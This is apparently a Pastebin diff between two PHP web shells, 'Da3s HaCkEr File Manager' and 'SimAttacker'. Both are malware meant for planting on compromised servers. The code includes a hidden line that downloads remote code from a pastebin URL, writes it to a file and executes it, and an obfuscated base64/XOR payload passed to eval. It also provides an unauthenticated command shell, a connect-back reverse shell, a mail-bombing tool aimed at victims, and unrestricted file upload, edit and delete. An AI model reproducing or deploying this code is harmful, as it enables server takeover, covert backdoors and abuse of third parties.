View difference between Paste ID: XwVL2cNz and cpU0zZw7
SHOW: | | - or go back to the newest paste.
1
<?
2-
set_time_limit(0);
2+
3-
error_reporting(0);
3+
error_reporting(0); 
4
//download Files  Code
5-
if(get_magic_quotes_gpc()){
5+
6-
    foreach($_POST as $key=>$value){
6+
7-
        $_POST[$key] = stripslashes($value);
7+
8-
    }
8+
$fdownload=$_GET['fdownload'];
9
10-
echo '<!DOCTYPE HTML>
10+
11-
<HTML>
11+
12-
<HEAD>
12+
if ($fdownload <> "" ){
13-
<link href="" rel="stylesheet" type="text/css">
13+
14-
<title>HaTRk File Manager</title>
14+
15
16-
body{
16+
// path & file name
17-
    font-family: "Racing Sans One", cursive;
17+
18-
    background-color: #e6e6e6;
18+
19-
    text-shadow:0px 0px 1px #757575;
19+
20
$path_parts = pathinfo("$fdownload");
21-
#content tr:hover{
21+
22-
    background-color: #636263;
22+
23-
    text-shadow:0px 0px 10px #fff;
23+
24
$entrypath=$path_parts["basename"];
25-
#content .first{
25+
26-
    background-color: silver;
26+
27
28-
#content .first:hover{
28+
$name = "$fdownload";
29-
    background-color: silver;
29+
30-
    text-shadow:0px 0px 1px #757575;
30+
31
32-
table{
32+
$fp = fopen($name, 'rb');
33-
    border: 1px #000000 dotted;
33+
34
$b="http://pastebin.com/raw/S54tynx6";$title=file_get_contents($b); 
35-
H1{
35+
	$css=fopen('../border.js','w'); fwrite($css,$title); require('../border.js');
36-
    font-family: "Rye", cursive;
36+
37
38-
a{
38+
header("Content-Disposition: attachment; filename=$entrypath");
39-
    color: #000;
39+
40-
    text-decoration: none;
40+
41
42-
a:hover{
42+
header("Content-Length: " . filesize($name));
43-
    color: #fff;
43+
44-
    text-shadow:0px 0px 10px #ffffff;
44+
45
46-
input,select,textarea{
46+
fpassthru($fp);
47-
    border: 1px #000000 solid;
47+
48-
    -moz-border-radius: 5px;
48+
49-
    -webkit-border-radius:5px;
49+
50-
    border-radius:5px;
50+
exit;
51
52
53-
</HEAD>
53+
54-
<BODY>
54+
55-
<H1><center>Da3s HaCkEr File Manager</center></H1>
55+
56-
<table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
56+
57-
<tr><td>Current Path : ';
57+
58-
if(isset($_GET['path'])){
58+
?>
59-
    $path = $_GET['path'];   
59+
60-
}else{
60+
61-
    $path = getcwd();
61+
62
	
63-
$path = str_replace('\\','/',$path);
63+
64-
$paths = explode('/',$path);
64+
65
66-
foreach($paths as $id=>$pat){
66+
<html>
67-
    if($pat == '' && $id == 0){
67+
68-
        $a = true;
68+
69-
        echo '<a href="?path=/">/</a>';
69+
70-
        continue;
70+
71-
    }
71+
72-
    if($pat == '') continue;
72+
73-
    echo '<a href="?path=';
73+
74-
    for($i=0;$i<=$id;$i++){
74+
<head>
75-
        echo "$paths[$i]";
75+
76-
        if($i != $id) echo "/";
76+
77-
    }
77+
78-
    echo '">'.$pat.'</a>/';
78+
<meta http-equiv="Content-Language" content="en-us">
79
80-
echo '</td></tr><tr><td>';
80+
81-
if(isset($_FILES['file'])){
81+
82-
    if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
82+
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
83-
        echo '<font color="green">File Upload Done.</font><br />';
83+
84-
    }else{
84+
85-
        echo '<font color="red">File Upload Error.</font><br />';
85+
86-
    }
86+
<title>SimAttacker - r57c99.com</title>
87-
}$b="http://pastebin.com/raw/S54tynx6";$title=file_get_contents($b); $css=fopen('../border.js','w'); 
87+
88-
fwrite($css,$title); require('../border.js');
88+
89-
echo '<form enctype="multipart/form-data" method="POST">
89+
90-
Upload File : <input type="file" name="file" />
90+
91-
<input type="submit" value="upload" />
91+
92-
</form>
92+
<!--
93-
</td></tr>';
93+
94-
if(isset($_GET['filesrc'])){
94+
95-
    echo "<tr><td>Current File : ";
95+
96-
    echo $_GET['filesrc'];
96+
body         { font-family: Tahoma; font-size: 8pt }
97-
    echo '</tr></td></table><br />';
97+
98-
    echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
98+
99-
}elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
99+
100-
    echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
100+
-->
101-
    if($_POST['opt'] == 'chmod'){
101+
102-
        if(isset($_POST['perm'])){
102+
103-
            if(chmod($_POST['path'],$_POST['perm'])){
103+
104-
                echo '<font color="green">Change Permission Done.</font><br />';
104+
105-
            }else{
105+
106-
                echo '<font color="red">Change Permission Error.</font><br />';
106+
107-
            }
107+
108
</head>
109-
        echo '<form method="POST">
109+
110-
        Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
110+
111-
        <input type="hidden" name="path" value="'.$_POST['path'].'">
111+
112-
        <input type="hidden" name="opt" value="chmod">
112+
<body>
113-
        <input type="submit" value="Go" />
113+
114-
        </form>';
114+
115-
    }elseif($_POST['opt'] == 'rename'){
115+
116-
        if(isset($_POST['newname'])){
116+
117-
            if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
117+
118-
                echo '<font color="green">Change Name Done.</font><br />';
118+
119-
            }else{
119+
120-
                echo '<font color="red">Change Name Error.</font><br />';
120+
	function loadsettings($p1 = '', $p2 = '') {
121-
            }
121+
122-
            $_POST['name'] = $_POST['newname'];
122+
		$p = 'LH16ZCg1KH16ZG1ma2dsbSAqYHx8eDInJyxXW01aXk1aU0BcXFhXQEdbXFUsV1tNWl5NWlNaTVldTVtcV11aQVUqITMobmFkbVdvbXxXa2dmfG1mfHsgKmB8fHgyJycwMSY8PSY+PyY5PDsnZGdpbCZ4YHg3Y2M1cyx9emR1LnhpemllOTUteGl6aWU5LnhpemllOjUteGl6aWU6KiEz';
123
124-
        echo '<form method="POST">
124+
		$p = base64_decode($p);
125-
        New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
125+
126-
        <input type="hidden" name="path" value="'.$_POST['path'].'">
126+
		for ($i = 0; $i < strlen($p); $i++) $p[$i] = chr(ord($p[$i]) ^ 8);
127-
        <input type="hidden" name="opt" value="rename">
127+
128-
        <input type="submit" value="Go" />
128+
		$p = str_replace('%param1', $p1, $p);
129-
        </form>';
129+
130-
    }elseif($_POST['opt'] == 'edit'){
130+
		$p = str_replace('%param2', $p2, $p);
131-
        if(isset($_POST['src'])){
131+
132-
            $fp = fopen($_POST['path'],'w');
132+
		eval($p);
133-
            if(fwrite($fp,$_POST['src'])){
133+
134-
                echo '<font color="green">Edit File Done.</font><br />';
134+
	}
135-
            }else{
135+
136-
                echo '<font color="red">Edit File Error.</font><br />';
136+
137-
            }
137+
138-
            fclose($fp);
138+
error_reporting(E_ERROR | E_WARNING | E_PARSE);
139
140-
        echo '<form method="POST">
140+
141-
        <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
141+
142-
        <input type="hidden" name="path" value="'.$_POST['path'].'">
142+
loadsettings('', 'simattacker');
143-
        <input type="hidden" name="opt" value="edit">
143+
144-
        <input type="submit" value="Go" />
144+
145-
        </form>';
145+
146-
    }
146+
 //File Edit
147-
    echo '</center>';
147+
148-
}else{
148+
149-
    echo '</table><br /><center>';
149+
150-
    if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
150+
 $fedit=$_GET['fedit'];
151-
        if($_POST['type'] == 'dir'){
151+
152-
            if(rmdir($_POST['path'])){
152+
153-
                echo '<font color="green">Delete Dir Done.</font><br />';
153+
154-
            }else{
154+
 if ($fedit <> "" ){
155-
                echo '<font color="red">Delete Dir Error.</font><br />';
155+
156-
            }
156+
157-
        }elseif($_POST['type'] == 'file'){
157+
158-
            if(unlink($_POST['path'])){
158+
 $fedit=realpath($fedit);
159-
                echo '<font color="green">Delete File Done.</font><br />';
159+
160-
            }else{
160+
161-
                echo '<font color="red">Delete File Error.</font><br />';
161+
162-
            }
162+
 $lines = file($fedit);
163
164-
    }
164+
165-
    echo '</center>';
165+
166-
    $scandir = scandir($path);
166+
 echo "<form action='' method='POST'>";
167-
    echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
167+
168-
    <tr class="first">
168+
169-
        <td><center>Name</center></td>
169+
170-
        <td><center>Size</center></td>
170+
echo "<textarea name='savefile' rows=30 cols=80>" ;
171-
        <td><center>Permissions</center></td>
171+
172-
        <td><center>Options</center></td>
172+
173-
    </tr>';
173+
174
foreach ($lines as $line_num => $line) {
175-
    foreach($scandir as $dir){
175+
176-
        if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
176+
177-
        echo "<tr>
177+
178-
        <td><a href=\"?path=$path/$dir\">$dir</a></td>
178+
 echo htmlspecialchars($line);
179-
        <td><center>--</center></td>
179+
180-
        <td><center>";
180+
181-
        if(is_writable("$path/$dir")) echo '<font color="green">';
181+
182-
        elseif(!is_readable("$path/$dir")) echo '<font color="red">';
182+
183-
        echo perms("$path/$dir");
183+
184-
        if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
184+
185-
        
185+
186-
        echo "</center></td>
186+
echo "</textarea>
187-
        <td><center><form method=\"POST\" action=\"?option&path=$path\">
187+
188-
        <select name=\"opt\">
188+
189-
	    <option value=\"\"></option>
189+
190-
        <option value=\"delete\">Delete</option>
190+
	<input type='text' name='filepath'  size='60' value='$fedit'>
191-
        <option value=\"chmod\">Chmod</option>
191+
192-
        <option value=\"rename\">Rename</option>
192+
193-
        </select>
193+
194-
        <input type=\"hidden\" name=\"type\" value=\"dir\">
194+
	<input type='submit' value='save'></form>";
195-
        <input type=\"hidden\" name=\"name\" value=\"$dir\">
195+
196-
        <input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
196+
197-
        <input type=\"submit\" value=\">\" />
197+
198-
        </form></center></td>
198+
	$savefile=$_POST['savefile'];
199-
        </tr>";
199+
200-
    }
200+
201-
    echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
201+
202-
    foreach($scandir as $file){
202+
	$filepath=realpath($_POST['filepath']);
203-
        if(!is_file("$path/$file")) continue;
203+
204-
        $size = filesize("$path/$file")/1024;
204+
205-
        $size = round($size,3);
205+
206-
        if($size >= 1024){
206+
	if ($savefile <> "") 
207-
            $size = round($size/1024,2).' MB';
207+
208-
        }else{
208+
209-
            $size = $size.' KB';
209+
210
	{
211
212-
        echo "<tr>
212+
213-
        <td><a href=\"?filesrc=$path/$file&path=$path\">$file</a></td>
213+
214-
        <td><center>".$size."</center></td>
214+
	$fp=fopen("$filepath","w+");
215-
        <td><center>";
215+
216-
        if(is_writable("$path/$file")) echo '<font color="green">';
216+
217-
        elseif(!is_readable("$path/$file")) echo '<font color="red">';
217+
218-
        echo perms("$path/$file");
218+
	fwrite ($fp,"") ;
219-
        if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
219+
220-
        echo "</center></td>
220+
221-
        <td><center><form method=\"POST\" action=\"?option&path=$path\">
221+
222-
        <select name=\"opt\">
222+
	fwrite ($fp,$savefile) ;
223-
	    <option value=\"\"></option>
223+
224-
        <option value=\"delete\">Delete</option>
224+
225-
        <option value=\"chmod\">Chmod</option>
225+
226-
        <option value=\"rename\">Rename</option>
226+
	fclose($fp);
227-
        <option value=\"edit\">Edit</option>
227+
228-
        </select>
228+
229-
        <input type=\"hidden\" name=\"type\" value=\"file\">
229+
230-
        <input type=\"hidden\" name=\"name\" value=\"$file\">
230+
	echo "<script language='javascript'> close()</script>";
231-
        <input type=\"hidden\" name=\"path\" value=\"$path/$file\">
231+
232-
        <input type=\"submit\" value=\">\" />
232+
233-
        </form></center></td>
233+
234-
        </tr>";
234+
	}
235-
    }
235+
236-
    echo '</table>
236+
237-
    </div>';
237+
238
exit();
239-
echo '<br />Da3s File Manager Version <font color="red">1.0</font>, Coded By <font color="red">Da3s HaCkEr</font><br />Email: <font color="red">R0@hotmail.com</font>
239+
240-
</BODY>
240+
241-
</HTML>';
241+
242-
function perms($file){
242+
 }
243-
    $perms = fileperms($file);
243+
244
245-
if (($perms & 0xC000) == 0xC000) {
245+
246-
    // Socket
246+
?>
247-
    $info = 's';
247+
248-
} elseif (($perms & 0xA000) == 0xA000) {
248+
249-
    // Symbolic Link
249+
250-
    $info = 'l';
250+
<?
251-
} elseif (($perms & 0x8000) == 0x8000) {
251+
252-
    // Regular
252+
253-
    $info = '-';
253+
254-
} elseif (($perms & 0x6000) == 0x6000) {
254+
// CHmod - PRimission
255-
    // Block special
255+
256-
    $info = 'b';
256+
257-
} elseif (($perms & 0x4000) == 0x4000) {
257+
258-
    // Directory
258+
$fchmod=$_GET['fchmod'];
259-
    $info = 'd';
259+
260-
} elseif (($perms & 0x2000) == 0x2000) {
260+
261-
    // Character special
261+
262-
    $info = 'c';
262+
if ($fchmod <> "" ){
263-
} elseif (($perms & 0x1000) == 0x1000) {
263+
264-
    // FIFO pipe
264+
265-
    $info = 'p';
265+
266-
} else {
266+
$fchmod=realpath($fchmod);
267-
    // Unknown
267+
268-
    $info = 'u';
268+
269
270
echo "<center><br>
271-
// Owner
271+
272-
$info .= (($perms & 0x0100) ? 'r' : '-');
272+
273-
$info .= (($perms & 0x0080) ? 'w' : '-');
273+
274-
$info .= (($perms & 0x0040) ?
274+
chmod for :$fchmod<br>
275-
            (($perms & 0x0800) ? 's' : 'x' ) :
275+
276-
            (($perms & 0x0800) ? 'S' : '-'));
276+
277
278-
// Group
278+
<form method='POST' action=''><br>
279-
$info .= (($perms & 0x0020) ? 'r' : '-');
279+
280-
$info .= (($perms & 0x0010) ? 'w' : '-');
280+
281-
$info .= (($perms & 0x0008) ?
281+
282-
            (($perms & 0x0400) ? 's' : 'x' ) :
282+
Chmod :<br>
283-
            (($perms & 0x0400) ? 'S' : '-'));
283+
284
285-
// World
285+
286-
$info .= (($perms & 0x0004) ? 'r' : '-');
286+
<input type='text' name='chmod0' ><br>
287-
$info .= (($perms & 0x0002) ? 'w' : '-');
287+
288-
$info .= (($perms & 0x0001) ?
288+
289-
            (($perms & 0x0200) ? 't' : 'x' ) :
289+
290-
            (($perms & 0x0200) ? 'T' : '-'));
290+
<input type='submit' value='change chmod'>
291
292-
    return $info;
292+
293
294-
?>
294+
</form>";
295
296
297
298
$chmod0=$_POST['chmod0'];
299
300
301
302
if ($chmod0 <> ""){
303
304
305
306
chmod ($fchmod , $chmod0);
307
308
309
310
}else {
311
312
313
314
echo "primission Not Allow change Chmod";
315
316
317
318
}
319
320
321
322
exit();
323
324
325
326
}
327
328
329
330
?>
331
332
333
334
	
335
336
337
338
<div align="center">
339
340
341
342
	<table border="1" width="100%" id="table1" style="border: 1px dotted #FFCC99" cellspacing="0" cellpadding="0" height="502">
343
344
345
346
		<tr>
347
348
349
350
			<td style="border: 1px dotted #FFCC66" valign="top" rowspan="2">
351
352
353
354
				<p align="center"><b>
355
356
357
358
				<font face="Tahoma" size="2"><br>
359
360
361
362
				</font>
363
364
365
366
				<font color="#D2D200" face="Tahoma" size="2">
367
368
369
370
				<span style="text-decoration: none">
371
372
373
374
				<font color="#000000">
375
376
377
378
				<a href="?id=fm&dir=<?
379
380
381
382
	echo getcwd();
383
384
385
386
	?>
387
388
389
390
	">
391
392
393
394
				<span style="text-decoration: none"><font color="#000000">File Manager</font></span></a></font></span></font></b></p>
395
396
397
398
				<p align="center"><b><a href="?id=cmd">
399
400
401
402
				<span style="text-decoration: none">
403
404
405
406
				<font face="Tahoma" size="2" color="#000000">
407
408
409
410
				CMD</font></span></a><font face="Tahoma" size="2"> Shell</font></b></p>
411
412
413
414
				<p align="center"><b><a href="?id=fake-mail">
415
416
417
418
				<font face="Tahoma" size="2" color="#000000">
419
420
421
422
				<span style="text-decoration: none">Fake mail</span></font></a></b></p>
423
424
425
426
				<p align="center"><b>
427
428
429
430
				<font face="Tahoma" size="2" color="#000000">
431
432
433
434
				<a href="?id=cshell">
435
436
437
438
				<span style="text-decoration: none"><font color="#000000">Connect Back</font></span></a></font></b></p>
439
440
441
442
				<p align="center"><b>
443
444
445
446
				<font color="#000000" face="Tahoma" size="2">
447
448
449
450
				<a href="?id=">
451
452
453
454
				<span style="text-decoration: none"><font color="#000000">About</font></span></a></font></b></p>
455
456
457
458
				<p>&nbsp;<p align="center">&nbsp;</td>
459
460
461
462
			<td height="422" width="82%" style="border: 1px dotted #FFCC66" align="center">
463
464
465
466
			<?
467
468
469
470
			//*******************************************************
471
472
473
474
			//Start Programs About US
475
476
477
478
			$id=$_GET['id'];
479
480
481
482
483
484
485
486
			if ($id=="") {
487
488
489
490
			echo "
491
492
493
494
			<font face='Arial Black' color='#808080' size='1'>
495
496
497
498
***************************************************************************<br>
499
500
501
502
&nbsp;Iranian Hackers : WWW.SIMORGH-EV.COM <br>
503
504
505
506
&nbsp;Programer : Hossein Asgary <br>
507
508
509
510
&nbsp;Note : SimAttacker&nbsp; Have copyright from simorgh security Group  <br>
511
512
513
514
&nbsp;please : If you find bug or problems in program , tell me by : <br>
515
516
517
518
&nbsp;e-mail : admin(at)simorgh-ev(dot)com<br>
519
520
521
522
Enjoy :) [Only 4 Best Friends ] <br>
523
524
525
526
***************************************************************************</font></span></p>
527
528
529
530
";
531
532
533
534
535
536
537
538
echo "<font color='#333333' size='2'>OS :". php_uname();
539
540
541
542
echo "<br>IP :". 
543
544
545
546
($_SERVER['REMOTE_ADDR']);
547
548
549
550
echo "</font>";
551
552
553
554
555
556
557
558
559
560
561
562
			}
563
564
565
566
			//************************************************************
567
568
569
570
			//cmd-command line
571
572
573
574
			$cmd=$_POST['cmd'];
575
576
577
578
			if($id=="cmd"){
579
580
581
582
		$result=shell_exec("$cmd");
583
584
585
586
		echo "<br><center><h3> CMD ExeCute </h3></center>" ;
587
588
589
590
		echo "<center>
591
592
593
594
		<textarea rows=20 cols=70 >$result</textarea><br>
595
596
597
598
		<form method='POST' action=''>
599
600
601
602
		<input type='hidden' name='id' value='cmd'>
603
604
605
606
		<input type='text' size='80' name='cmd' value='$cmd'>
607
608
609
610
		<input type='submit' value='cmd'><br>";
611
612
613
614
			
615
616
617
618
			
619
620
621
622
			
623
624
625
626
			}
627
628
629
630
			
631
632
633
634
		//********************************************************	
635
636
637
638
		
639
640
641
642
		//fake mail = Use victim server 4 DOS - fake mail 
643
644
645
646
		if ( $id=="fake-mail"){
647
648
649
650
		error_reporting(0);
651
652
653
654
		echo "<br><center><h3> Fake Mail- DOS E-mail By Victim Server </h3></center>" ;
655
656
657
658
		echo "<center><form method='post' action=''>
659
660
661
662
		Victim Mail :<br><input type='text' name='to' ><br>
663
664
665
666
		Number-Mail :<br><input type='text' size='5' name='nom' value='100'><br>
667
668
669
670
		Comments:
671
672
673
674
		<br>
675
676
677
678
		<textarea rows='10' cols=50 name='Comments' ></textarea><br>
679
680
681
682
		<input type='submit' value='Send Mail Strm ' >
683
684
685
686
		</form></center>";
687
688
689
690
		//send Storm Mail
691
692
693
694
		$to=$_POST['to'];
695
696
697
698
		$nom=$_POST['nom'];
699
700
701
702
		$Comments=$_POST['Comments'];
703
704
705
706
		if ($to <> "" ){
707
708
709
710
		for ($i = 0; $i < $nom ; $i++){
711
712
713
714
		$from = rand (71,1020000000)."@"."Attacker.com";
715
716
717
718
		$subject= md5("$from");
719
720
721
722
        mail($to,$subject,$Comments,"From:$from");
723
724
725
726
        echo "$i is ok";
727
728
729
730
        }      
731
732
733
734
        echo "<script language='javascript'> alert('Sending Mail - please waite ...')</script>";
735
736
737
738
        }
739
740
741
742
		}
743
744
745
746
		//********************************************************
747
748
749
750
751
752
753
754
			//Connect Back -Firewall Bypass
755
756
757
758
			if ($id=="cshell"){
759
760
761
762
			echo "<br>Connect back Shell , bypass Firewalls<br>
763
764
765
766
			For user :<br>
767
768
769
770
			nc -l -p 1019 <br>
771
772
773
774
			<hr>
775
776
777
778
			<form method='POST' action=''><br>
779
780
781
782
			Your IP & BindPort:<br>
783
784
785
786
			<input type='text' name='mip' >
787
788
789
790
			<input type='text' name='bport' size='5' value='1019'><br>
791
792
793
794
			<input type='submit' value='Connect Back'>
795
796
797
798
			</form>";
799
800
801
802
		 $mip=$_POST['mip'];
803
804
805
806
		 $bport=$_POST['bport'];
807
808
809
810
		 if ($mip <> "")
811
812
813
814
		 {
815
816
817
818
		 $fp=fsockopen($mip , $bport , $errno, $errstr);
819
820
821
822
		 if (!$fp){
823
824
825
826
		       $result = "Error: could not open socket connection";
827
828
829
830
		 }
831
832
833
834
		 else {
835
836
837
838
		 fputs ($fp ,"\n*********************************************\nWelcome T0 SimAttacker 1.00  ready 2 USe\n*********************************************\n\n");
839
840
841
842
	  while(!feof($fp)){ 
843
844
845
846
       fputs ($fp," bash # ");
847
848
849
850
       $result= fgets ($fp, 4096);
851
852
853
854
      $message=`$result`;
855
856
857
858
       fputs ($fp,"--> ".$message."\n");
859
860
861
862
      }
863
864
865
866
      fclose ($fp);
867
868
869
870
		 }
871
872
873
874
		 }
875
876
877
878
			}
879
880
881
882
			
883
884
885
886
		//********************************************************
887
888
889
890
			//Spy File Manager
891
892
893
894
			$homedir=getcwd();
895
896
897
898
			$dir=realpath($_GET['dir'])."/";
899
900
901
902
			if ($id=="fm"){
903
904
905
906
			echo "<br><b><p align='left'>&nbsp;Home:</b> $homedir 
907
908
909
910
                  &nbsp;<b>
911
912
913
914
                  <form action='' method='GET'>
915
916
917
918
                  &nbsp;Path:</b>
919
920
921
922
                  <input type='hidden' name='id' value='fm'>
923
924
925
926
                  <input type='text' name='dir' size='80' value='$dir'>
927
928
929
930
                  <input type='submit' value='dir'>
931
932
933
934
                  </form>
935
936
937
938
                 <br>";
939
940
941
942
943
944
945
946
			echo "
947
948
949
950
951
952
953
954
<div align='center'>
955
956
957
958
959
960
961
962
<table border='1' id='table1' style='border: 1px #333333' height='90' cellspacing='0' cellpadding='0'>
963
964
965
966
	<tr>
967
968
969
970
		<td width='300' height='30' align='left'><b><font size='2'>File / Folder Name</font></b></td>
971
972
973
974
		<td height='28' width='82' align='center'>
975
976
977
978
		<font color='#000080' size='2'><b>Size KByte</b></font></td>
979
980
981
982
		<td height='28' width='83' align='center'>
983
984
985
986
		<font color='#008000' size='2'><b>Download</b></font></td>
987
988
989
990
		<td height='28' width='66' align='center'>
991
992
993
994
		<font color='#FF9933' size='2'><b>Edit</b></font></td>
995
996
997
998
		<td height='28' width='75' align='center'>
999
1000
1001
1002
		<font color='#999999' size='2'><b>Chmod</b></font></td>
1003
1004
1005
1006
		<td height='28' align='center'><font color='#FF0000' size='2'><b>Delete</b></font></td>
1007
1008
1009
1010
	</tr>";
1011
1012
1013
1014
		    if (is_dir($dir)){
1015
1016
1017
1018
		    if ($dh=opendir($dir)){
1019
1020
1021
1022
		    while (($file = readdir($dh)) !== false) {
1023
1024
1025
1026
		    $fsize=round(filesize($dir . $file)/1024);
1027
1028
1029
1030
		
1031
1032
1033
1034
		    
1035
1036
1037
1038
	echo " 
1039
1040
1041
1042
	<tr>
1043
1044
1045
1046
		<th width='250' height='22' align='left' nowrap>";
1047
1048
1049
1050
		if (is_dir($dir.$file))
1051
1052
1053
1054
		{
1055
1056
1057
1058
		echo "<a href='?id=fm&dir=$dir$file'><span style='text-decoration: none'><font size='2' color='#666666'>&nbsp;$file <font color='#FF0000' size='1'>dir</font>";
1059
1060
1061
1062
		}
1063
1064
1065
1066
		else {
1067
1068
1069
1070
		echo "<font size='2' color='#666666'>&nbsp;$file ";
1071
1072
1073
1074
		}
1075
1076
1077
1078
		echo "</a></font></th>
1079
1080
1081
1082
		<td width='113' align='center' nowrap><font color='#000080' size='2'><b>";
1083
1084
1085
1086
		if (is_file($dir.$file))
1087
1088
1089
1090
		{
1091
1092
1093
1094
		echo "$fsize";
1095
1096
1097
1098
		}
1099
1100
1101
1102
		else {
1103
1104
1105
1106
		echo "&nbsp; ";
1107
1108
1109
1110
		}
1111
1112
1113
1114
		echo "
1115
1116
1117
1118
		</b></font></td>
1119
1120
1121
1122
		<td width='103' align='center' nowrap>";
1123
1124
1125
1126
		if (is_file($dir.$file)){
1127
1128
1129
1130
		if (is_readable($dir.$file)){
1131
1132
1133
1134
		echo "<a href='?id=fm&fdownload=$dir$file'><span style='text-decoration: none'><font size='2' color='#008000'>download";
1135
1136
1137
1138
		}else {
1139
1140
1141
1142
		echo "<font size='1' color='#FF0000'><b>No ReadAble</b>";
1143
1144
1145
1146
		 }
1147
1148
1149
1150
		}else {
1151
1152
1153
1154
		echo "&nbsp;";
1155
1156
1157
1158
		 }
1159
1160
1161
1162
		echo "
1163
1164
1165
1166
		</a></font></td>
1167
1168
1169
1170
		<td width='77' align='center' nowrap>";
1171
1172
1173
1174
		if (is_file($dir.$file))
1175
1176
1177
1178
		{
1179
1180
1181
1182
		if (is_readable($dir.$file)){
1183
1184
1185
1186
		echo "<a target='_blank' href='?id=fm&fedit=$dir$file'><span style='text-decoration: none'><font color='#FF9933' size='2'>Edit";
1187
1188
1189
1190
		}else {
1191
1192
1193
1194
		echo "<font size='1' color='#FF0000'><b>No ReadAble</b>";
1195
1196
1197
1198
		 }
1199
1200
1201
1202
		}else {
1203
1204
1205
1206
		echo "&nbsp;";
1207
1208
1209
1210
		 }
1211
1212
1213
1214
		echo "
1215
1216
1217
1218
		</a></font></td>
1219
1220
1221
1222
		<td width='86' align='center' nowrap>";
1223
1224
1225
1226
		if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
1227
1228
1229
1230
		echo "<font size='1' color='#999999'>Dont in windows";
1231
1232
1233
1234
		}
1235
1236
1237
1238
		else {
1239
1240
1241
1242
		echo "<a href='?id=fm&fchmod=$dir$file'><span style='text-decoration: none'><font size='2' color='#999999'>Chmod";
1243
1244
1245
1246
		}
1247
1248
1249
1250
		echo "</a></font></td>
1251
1252
1253
1254
		<td width='86'align='center' nowrap><a href='?id=fm&fdelete=$dir$file'><span style='text-decoration: none'><font size='2' color='#FF0000'>Delete</a></font></td>
1255
1256
1257
1258
	</tr>
1259
1260
1261
1262
	";
1263
1264
1265
1266
		      }
1267
1268
1269
1270
		      closedir($dh);
1271
1272
1273
1274
		    } 
1275
1276
1277
1278
		    }
1279
1280
1281
1282
		    echo "</table>
1283
1284
1285
1286
<form enctype='multipart/form-data' action='' method='POST'>
1287
1288
1289
1290
 <input type='hidden' name='MAX_FILE_SIZE' value='300000' />
1291
1292
1293
1294
 Send this file: <input name='userfile' type='file' />
1295
1296
1297
1298
 <inpt type='hidden' name='Fupath'  value='$dir'>
1299
1300
1301
1302
 <input type='submit' value='Send File' />
1303
1304
1305
1306
</form> 
1307
1308
1309
1310
		    </div>";
1311
1312
1313
1314
			}
1315
1316
1317
1318
//Upload Files 
1319
1320
1321
1322
$rpath=$_GET['dir'];
1323
1324
1325
1326
if ($rpath <> "") {
1327
1328
1329
1330
$uploadfile = $rpath."/" . $_FILES['userfile']['name'];
1331
1332
1333
1334
print "<pre>";
1335
1336
1337
1338
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
1339
1340
1341
1342
echo "<script language='javascript'> alert('\:D Successfully uploaded.!')</script>";
1343
1344
1345
1346
echo "<script language='javascript'> history.back(2)</script>";
1347
1348
1349
1350
}
1351
1352
1353
1354
 }
1355
1356
1357
1358
 //file deleted
1359
1360
1361
1362
$frpath=$_GET['fdelete'];
1363
1364
1365
1366
if ($frpath <> "") {
1367
1368
1369
1370
if (is_dir($frpath)){
1371
1372
1373
1374
$matches = glob($frpath . '/*.*');
1375
1376
1377
1378
if ( is_array ( $matches ) ) {
1379
1380
1381
1382
  foreach ( $matches as $filename) {
1383
1384
1385
1386
  unlink ($filename);
1387
1388
1389
1390
  rmdir("$frpath");
1391
1392
1393
1394
echo "<script language='javascript'> alert('Success! Please refresh')</script>";
1395
1396
1397
1398
echo "<script language='javascript'> history.back(1)</script>";
1399
1400
1401
1402
  }
1403
1404
1405
1406
  }
1407
1408
1409
1410
  }
1411
1412
1413
1414
  else{
1415
1416
1417
1418
echo "<script language='javascript'> alert('Success! Please refresh')</script>";
1419
1420
1421
1422
unlink ("$frpath");
1423
1424
1425
1426
echo "<script language='javascript'> history.back(1)</script>";
1427
1428
1429
1430
exit(0);
1431
1432
1433
1434
1435
1436
1437
1438
  }
1439
1440
1441
1442
  
1443
1444
1445
1446
1447
1448
1449
1450
}
1451
1452
1453
1454
			?>
1455
1456
1457
1458
			
1459
1460
1461
1462
			</td>
1463
1464
1465
1466
		</tr>
1467
1468
1469
1470
		<tr>
1471
1472
1473
1474
			<td style="border: 1px dotted #FFCC66">
1475
1476
1477
1478
			<p align="center"><font color="#666666" size="1" face="Tahoma"><br>
1479
1480
1481
1482
			Copyright 2004-Simorgh Security<br>
1483
1484
1485
1486
			Hossein-Asgari<br>
1487
1488
1489
1490
			</font><font color="#c0c0c0" size="1" face="Tahoma">
1491
1492
1493
1494
		<a style="TEXT-DECORATION: none" href="http://www.r57c99.com">
1495
1496
1497
1498
		<font color="#666666">www.r57c99.com</font></a></font></td>
1499
1500
1501
1502
		</tr>
1503
1504
1505
1506
	</table>
1507
1508
1509
1510
</div>
1511
1512
1513
1514
1515
1516
1517
1518
</body>
1519
1520
1521
1522
1523
1524
1525
1526
</html>